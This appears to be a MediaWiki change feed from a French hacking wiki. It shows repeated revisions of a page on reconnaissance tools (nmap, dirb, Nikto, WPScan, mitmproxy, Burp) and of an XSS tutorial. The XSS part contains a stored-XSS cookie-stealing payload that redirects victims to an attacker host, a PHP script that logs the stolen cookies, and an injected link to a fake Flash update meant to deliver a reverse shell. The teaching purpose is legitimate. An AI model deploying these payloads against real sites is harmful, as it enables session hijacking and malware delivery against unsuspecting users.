 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse WordPress, Joomla, Drupal et plus de 180 autres CMS.&lt;br /&gt;
&lt;br /&gt;
Un système de gestion de contenu (content management system (CMS)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93544</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93544"/>
		<updated>2023-12-02T14:51:48Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* OWASP ZAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse WordPress, Joomla, Drupal et plus de 180 autres CMS.&lt;br /&gt;
&lt;br /&gt;
Un système de gestion de contenu (content management system (CMS)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93543</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93543"/>
		<updated>2023-12-02T14:48:39Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* CMSEEK */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse WordPress, Joomla, Drupal et plus de 180 autres CMS.&lt;br /&gt;
&lt;br /&gt;
Un système de gestion de contenu (content management system (CMS)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93542</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93542"/>
		<updated>2023-12-02T14:46:40Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* WPScan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93541</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93541"/>
		<updated>2023-12-02T14:45:22Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* MITMproxy */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93540</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93540"/>
		<updated>2023-12-02T14:38:17Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93539</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93539"/>
		<updated>2023-12-02T14:12:57Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93538</id>
		<title>Web:Cross-Site Scripting - XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93538"/>
		<updated>2023-12-02T14:10:54Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Cheat Sheet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.&lt;br /&gt;
&lt;br /&gt;
Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: &amp;lt;b&amp;gt;lapin.jpg&amp;lt;/b&amp;gt; et comme description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La page retournée nous renverrait alors l'image sous la forme:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;Oh! Trop mignon!&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Un cas classique d'exploitation serait de remplacer la description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt; par: &amp;lt;b&amp;gt;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Le site nous retournerait alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur.&lt;br /&gt;
&lt;br /&gt;
En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Éxploitation =&lt;br /&gt;
== Exemple de récupération de cookies ==&lt;br /&gt;
*Préparation du fichier &amp;lt;b&amp;gt;getCookie.php&amp;lt;/b&amp;gt;. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
     $cookie = $_GET['v'] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
     file_put_contents(&amp;quot;cookies.txt&amp;quot;, $cookie, FILE_APPEND | LOCK_EX);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*La victime doit maintenant accéder à notre page:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://attaquant.com/getCookie.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La page contenant l'image deviendra alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://control.domain/get.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé &amp;lt;b&amp;gt;cookie.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Social Engineering ==&lt;br /&gt;
Un exemple d'attaque à adapter selon son imagination:&lt;br /&gt;
*Création d'un exécutable type [[Reverse Shell]] ou autre.&lt;br /&gt;
*Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: &amp;quot;Pour continuer, Flash Player doit être mis à jour.&amp;quot; + image utilisée lorsqu'un plugin est réellement manquant.&lt;br /&gt;
*Téléchargement de notre faux plugin par la victime, puis exécution.&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt; &amp;lt;a href=&amp;quot;http://control.domain/flash_update.exe&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://control.domain/flash.png&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;p alt=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
= Cheat Sheet =&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection&lt;br /&gt;
*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93537</id>
		<title>Web:Cross-Site Scripting - XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93537"/>
		<updated>2023-12-02T14:09:13Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Exemple de récupération de cookies */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.&lt;br /&gt;
&lt;br /&gt;
Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: &amp;lt;b&amp;gt;lapin.jpg&amp;lt;/b&amp;gt; et comme description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La page retournée nous renverrait alors l'image sous la forme:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;Oh! Trop mignon!&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
